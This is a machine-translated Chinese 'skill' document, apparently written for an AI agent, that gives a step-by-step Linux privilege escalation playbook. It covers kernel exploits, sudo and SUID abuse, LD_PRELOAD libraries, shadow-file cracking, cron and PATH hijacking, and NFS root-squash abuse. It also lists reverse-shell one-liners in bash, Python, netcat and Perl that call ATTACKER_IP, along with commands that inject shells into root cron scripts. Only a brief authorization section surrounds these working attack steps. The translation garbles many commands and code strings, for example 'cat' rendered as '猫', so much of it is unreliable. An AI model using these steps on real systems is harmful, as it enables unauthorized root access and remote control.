# Linux 权限提升 ## 目的在 Linux 系统上执行系统权限提升评估，以识别和利用错误配置、易受攻击的服务和安全漏洞，从而允许从低权限用户访问权限提升到根级别控制。此技能可以全面枚举和利用内核漏洞、sudo 错误配置、SUID 二进制文件、cron 作业、功能、PATH 劫持和 NFS 弱点。 ## 输入/先决条件 ### 所需访问权限 * 低权限shell访问目标Linux系统 * 执行命令的能力（交互式或半交互式 shell） * 反向 shell 连接的网络访问（如果需要） * 攻击者机器用于托管有效负载并接收 shell ### 技术要求 * 了解Linux文件系统权限和所有权 * 熟悉常见的Linux实用程序和脚本编写 * 了解内核版本和相关漏洞 * 对自定义漏洞利用的编译 (gcc) 的基本了解 ### 推荐工具 * LinPEAS、LinEnum 或 Linux 智能枚举脚本 * Linux 漏洞利用建议器 (LES) * GTFOBins 二进制利用参考 * John the Ripper 或 Hashcat 用于密码破解 * Netcat 或类似的反向 shell ## 输出/可交付成果 ### 主要输出 * 目标系统上的 root shell 访问 * 权限提升路径文档 * 系统枚举结果报告 * 补救建议 ### 证据文物 * 提权成功截图 * 显示 root 访问权限的命令输出日志 * 已识别的漏洞详细信息 * 被利用的配置文件 ## 核心工作流程 ### 第 1 阶段：系统枚举 #### 基本系统信息收集漏洞研究的基本系统详细信息： # 主机名和系统角色主机名 # 内核版本和架构 uname -a # 详细的内核信息猫/过程/版本 # 操作系统详细信息猫 /etc/问题猫 /etc/*-release # 架构拱门 #### 用户和权限枚举 # 当前用户上下文瓦阿米编号 # 具有登录 shell 的用户猫 /etc/passwd | grep -v 没有登录 | grep -v 假 # 有主目录的用户猫 /etc/passwd | grep 主页 # 群组成员资格团体 # 其他登录用户 w 谁 ####网络信息 # 网络接口如果配置 IP 地址 # 路由表 ip路由 # 活跃连接数 netstat-antup SS-tulpn # 监听服务网络统计-l #### 进程和服务枚举 # 所有正在运行的进程辅助键聚苯乙烯-EF # 进程树视图 ps 轴 # 以 root 身份运行的服务辅助 | grep 根 #### 环境变量 # 完整环境环境 # PATH变量（用于劫持）回显$PATH ### 第 2 阶段：自动枚举部署自动化脚本以进行全面枚举： # 林豌豆卷曲-L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh |嘘 # 林枚举 ./LinEnum.sh -t # Linux 智能枚举 ./lse.sh -l 1 # Linux 漏洞利用建议器 ./les.sh 将脚本传输到目标系统： # 在攻击者机器上 python3 -m http.server 8000 # 在目标机器上 wget http://ATTACKER_IP:8000/linpeas.sh chmod +x linpeas.sh ./linpeas.sh ### 第 3 阶段：内核漏洞 #### 识别内核版本 uname -r 猫/过程/版本 #### 搜索漏洞 # 使用 Linux 漏洞利用建议器 ./linux-exploit-suggester.sh # 手动搜索exploit-db searchsploit Linux 内核 [版本] #### 常见的内核漏洞内核版本 |漏洞利用 | CVE ---|---|--- 2.6.x - 3.x |肮脏的牛 | CVE-2016-5195 4.4.x - 4.13.x |双取 | CVE-2017-16995 5.8+ |肮脏的管道| CVE-2022-0847 #### 编译并执行 # 转移漏洞利用源 wget http://ATTACKER_IP/exploit.c # 在目标上编译 gccexploit.c -oexploit # 执行 ./利用 ### 第 4 阶段：Sudo 漏洞利用 #### 枚举 Sudo 权限须藤-l #### GTFOBins Sudo 漏洞利用参考获取利用命令： # 示例：vim 与 sudo sudo vim -c ':!/bin/bash' # 示例：使用 sudo 查找须藤查找。 -exec /bin/sh \; -退出 # 示例：awk 和 sudo sudo awk 'BEGIN {system("/bin/bash")}' # 示例：带有 sudo 的 python sudo python -c '导入操作系统； os.system(“/bin/bash”)' # 示例：使用 sudo 进行 less sudo 少 /etc/passwd !/bin/bash #### LD_PRELOAD 漏洞利用当 env_keep 包含 LD_PRELOAD 时： // shell.c #include #include #include 无效_init() { 取消设置环境（“LD_PRELOAD”）；设置gid(0); setuid(0); 系统（“/bin/bash”）； } # 编译共享库 gcc -fPIC -shared -o shell.so shell.c -nostartfiles # 使用sudo执行 sudo LD_PRELOAD=/tmp/shell.so 查找 ### 第 5 阶段：SUID 二进制利用 #### 查找 SUID 二进制文件查找/-type f -perm -04000 -ls 2>/dev/null 查找/-perm -u=s -type f 2>/dev/null #### 利用 SUID 二进制文件 SUID利用的参考GTFOBins： # 示例：base64用于文件读取 LFILE=/etc/shadow base64“$LFILE” | Base64-d # 示例：cp 进行文件写入 cp /bin/bash /tmp/bash chmod +s /tmp/bash /tmp/bash -p # 示例：使用 SUID 查找找到。 -exec /bin/sh -p \; -退出 #### 通过 SUID 破解密码 # 读取shadow文件（如果base64有SUID） Base64 /etc/shadow | Base64 /etc/shadow | base64 -d > 影子.txt Base64 /etc/passwd | Base64 /etc/passwd | base64 -d > passwd.txt # 在攻击者机器上 unshadow passwd.txt Shadow.txt > hashes.txt 约翰 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt #### 将用户添加到 passwd（如果 nano/vim 有 SUID） # 生成密码哈希值 openssl passwd -1 -salt 新密码 # 添加到/etc/passwd（使用SUID编辑器）新用户:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash ### 第 6 阶段：能力开发 #### 枚举能力 getcap -r/2>/dev/null #### 利用能力 # 示例：带有 cap_setuid 的 python /usr/bin/python3 -c '导入操作系统； os.setuid(0); os.system(“/bin/bash”)' # 示例：带有 cap_setuid 的 vim ./vim -c ':py3 导入操作系统; os.setuid(0); os.execl("/bin/bash", "bash", "-c", "重置; 执行 bash")' # 示例：带有 cap_setuid 的 perl perl -e '使用 POSIX qw(setuid); POSIX::setuid(0);执行“/bin/bash”；' ### 第 7 阶段：Cron 作业利用 #### 枚举 Cron 作业 # 系统定时任务猫 /etc/crontab # 用户 crontab ls -la /var/spool/cron/crontabs/ # 计划任务目录 ls -la /etc/cron.* # 系统定时器 systemctl 列表定时器 #### 利用可写 Cron 脚本 # 识别 cron 作业脚本猫 /etc/crontab # 显示： * * * * * root /opt/backup.sh # 检查权限 ls -la /opt/backup.sh # 如果可写，则注入反向shell # 修改脚本 echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/backup.sh # 启动攻击者监听数控-lvnp 4444 #### 利用缺失的 Cron 脚本 # 如果 cron 引用不存在的脚本 # crontab 中的 PATH 包含可写目录 # 在PATH位置创建恶意脚本 echo '#!/bin/bash' > /home/user/antivirus.sh echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /home/user/antivirus.sh chmod +x /home/user/antivirus.sh ### 第 8 阶段：路径劫持 #### 识别 PATH 漏洞 # 当前路径回显$PATH # 查找可写目录查找/-可写-type d 2>/dev/null # 检查 PATH 中是否有可写目录 #### 利用路径劫持 # 调用外部命令查找SUID二进制文件字符串 /usr/local/bin/suid-binary # 显示：system("service apache2 start") # 将可写目录添加到PATH 导出 PATH=/tmp:$PATH # 创建恶意二进制文件 echo '#!/bin/bash' > /tmp/service echo '/bin/bash -p' >> /tmp/service chmod +x /tmp/服务 # 执行SUID二进制文件 /usr/local/bin/suid-binary ### 第 9 阶段：NFS 利用 #### 枚举 NFS 共享 # 达到目标猫 /etc/exports # 寻找 no_root_squash 选项 #### 利用 no_root_squash # 针对攻击者 - 显示可安装的共享 showmount -e TARGET_IP # 挂载共享 mkdir /tmp/nfs mount -o rw TARGET_IP:/share /tmp/nfs # 以 root 身份创建 SUID 二进制文件猫 > /tmp/nfs/shell.c << EOF #include int main() { setuid(0); 设置gid(0); 系统（“/bin/bash”）；返回0； } EOF gcc /tmp/nfs/shell.c -o /tmp/nfs/shell chmod +s /tmp/nfs/shell # 在目标上 - 执行 SUID 二进制文件 /共享/外壳 ## 快速参考 ### 枚举命令总结目的|命令 ---|--- 内核版本 | `uname -a` 当前用户 | `id` 须藤权利 | `sudo -l` SUID 文件 | `find / -perm -u=s -type f 2>/dev/null` 能力| `getcap -r / 2>/dev/null` 计划任务 | `猫 /etc/crontab` 可写目录 | `find / -writable -type d 2>/dev/null` NFS 导出 | `猫 /etc/exports` ### 反向外壳单衬管 # 重击 bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 # Python python -c '导入套接字，子进程，os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])' # 网络猫 nc -e /bin/bash ATTACKER_IP 4444 # 珀尔 perl -e'使用套接字;$i=“ATTACKER_IP”;$p=4444;套接字(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));连接(S,sock addr_in($p,inet_aton($i)));打开(STDIN,">&S");打开(STDOUT,">&S");打开(STDERR,">&S");exec("/bin/bash -i");' ### 关键资源 * GTFOBins： * LinPEAS： * Linux 漏洞利用建议器： ## 约束和护栏 ### 运营边界 * 在生产使用之前在测试环境中验证内核漏洞 * 失败的内核漏洞可能导致系统崩溃 * 记录权限升级期间所做的所有更改 * 仅在授权的情况下保持访问持久性 ### 技术限制 * 现代内核可能具有漏洞缓解措施（ASLR、SMEP、SMAP） * AppArmor/SELinux 可能会限制利用技术 * 容器环境限制内核级漏洞利用 * 强化系统可能具有受限的 sudo 配置 ### 法律和道德要求 * 测试前需要书面授权 * 保持在规定的范围内 * 立即报告重要发现 * 不要访问超出范围要求的数据 ## 示例 ### 示例 1：通过 find 进行 Sudo 到 Root **场景** ：用户拥有 find 命令的 sudo 权限 $ sudo -l 用户 user 可以运行以下命令：（根）NOPASSWD：/usr/bin/find $ sudo 查找 . -exec /bin/bash \; -退出 # id uid=0(root) gid=0(root) groups=0(root) ### 示例 2：用于影子访问的 SUID base64 **场景**：base64 二进制文件设置了 SUID 位 $ find / -perm -u=s -type f 2>/dev/null | grep 64位 /usr/bin/base64 $ base64 /etc/shadow | $ base64 /etc/shadow | Base64-d 根:$6$xyz...:18000:0:99999:7::: # 与 john 离线破解 $ 约翰 --wordlist=rockyou.txt 影子.txt ### 示例 3：Cron 作业脚本劫持 **场景**：根 cron 作业执行可写脚本 $ 猫 /etc/crontab * * * * * 根/opt/scripts/backup.sh $ ls -la /opt/scripts/backup.sh -rwxrwxrwx 1 root root 50 /opt/scripts/backup.sh $ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /opt/scripts/backup.sh # 等待 1 分钟 $ /tmp/bash -p # id uid=1000(用户) gid=1000(用户) euid=0(root) ## 故障排除 ### 漏洞利用编译失败 * 检查 gcc 可用性：`which gcc` * 尝试在攻击者机器上编译相同的架构 * 使用静态编译：`gcc -staticexploit.c -oexploit` ### 反向 Shell 未连接 * 验证两个系统上的防火墙规则 * 尝试不同的端口（通常允许使用 443、80） * 如果直接连接失败，则使用暂存负载 * 检查出口过滤是否到位 ### SUID 二进制文件不可利用 * 验证确切的二进制版本与 GTFOBins 条目匹配 * 检查 AppArmor/SELinux 限制 * 某些二进制文件在检测到 SUID 时会放弃权限 ### Cron 作业未执行 * 验证 cron 服务是否正在运行：`service cron status` * 检查脚本是否有可执行权限 * 验证 crontab 中设置的路径是否正确 * 监控：`tail -f /var/log/syslog | grep CRON`

Linux 权限提升

包含技能